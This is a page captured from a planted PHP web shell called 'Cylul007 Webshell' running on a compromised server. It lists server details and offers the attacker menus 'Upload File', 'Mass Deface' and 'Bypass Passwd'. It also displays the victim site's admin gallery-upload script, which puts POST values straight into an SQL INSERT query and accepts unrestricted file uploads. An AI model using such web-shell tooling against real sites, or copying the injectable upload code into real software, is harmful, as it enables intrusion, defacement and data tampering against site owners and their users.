Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 17:26:22
Current Directory :
/
home
/
amvm
/
public_html
/
gomti
/
myadmin
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/public_html/gomti/myadmin/add-gallery.php
<?php include('header.php');?> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Add Gallery </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Add Gallery</a></li> <li class="active">Add</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="callout callout-info"> <h4>Tip!</h4> <p>This page will use to add new image in the admin panel.</p> </div> <!-- Default box --> <?php if(isset($_POST['upload'])){ $title = $_POST['title']; $album = $_POST['album']; $path = "gallery/"; $count=0; foreach ($_FILES['files']['name'] as $f => $name) { $image_name = date('h-i-s') .'_'. base64_encode($name); if(move_uploaded_file($_FILES["files"]["tmp_name"][$f], $path.$image_name)) { $query = "INSERT INTO `gallery` (`title`, `photo`, `album`) VALUES ('$title', '$image_name', '$album')"; mysqli_query($mysql_con, $query); echo 'Successfully uploaded'; header ('location: gallery.php'); } else { echo 'file not uploaded'; } $count++; }} ?> <section class="content"> <div class="row"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Add Images</h3> </div> <!-- /.box-header --> <!-- form start --> <form method="Post" role="form" enctype="multipart/form-data"> <div class="box-body"> <div class="form-group"> <label for="exampleInputEmail1">Title</label> <input type="text" name="title" class="form-control" id="exampleInputEmail1" placeholder="Enter Title"> </div> <div class="form-group"> <label>Select Album</label> <select name="album" class="form-control select2" style="width: 100%;"> <?php echo $query = "SELECT * FROM `album` WHERE status ='active' "; $result = mysqli_query($mysql_con, $query); while($row = mysqli_fetch_array($result)) { ?> <option value="<?php echo $row['album_name'];?>"><?php echo $row['album_name'];?></option><?php }?> </select> </div> <div class="form-group"> <label for="exampleInputFile">Choose Image</label> <input type="file" name="files[]" id="exampleInputFile" multiple> </div> </div> <!-- /.box-body --> <div class="box-footer"> <button type="submit" name="upload" value="submit" class="btn btn-primary">Submit</button> </div> </form> </div> </div> </section> <!-- /.box --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include("footer.php"); ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18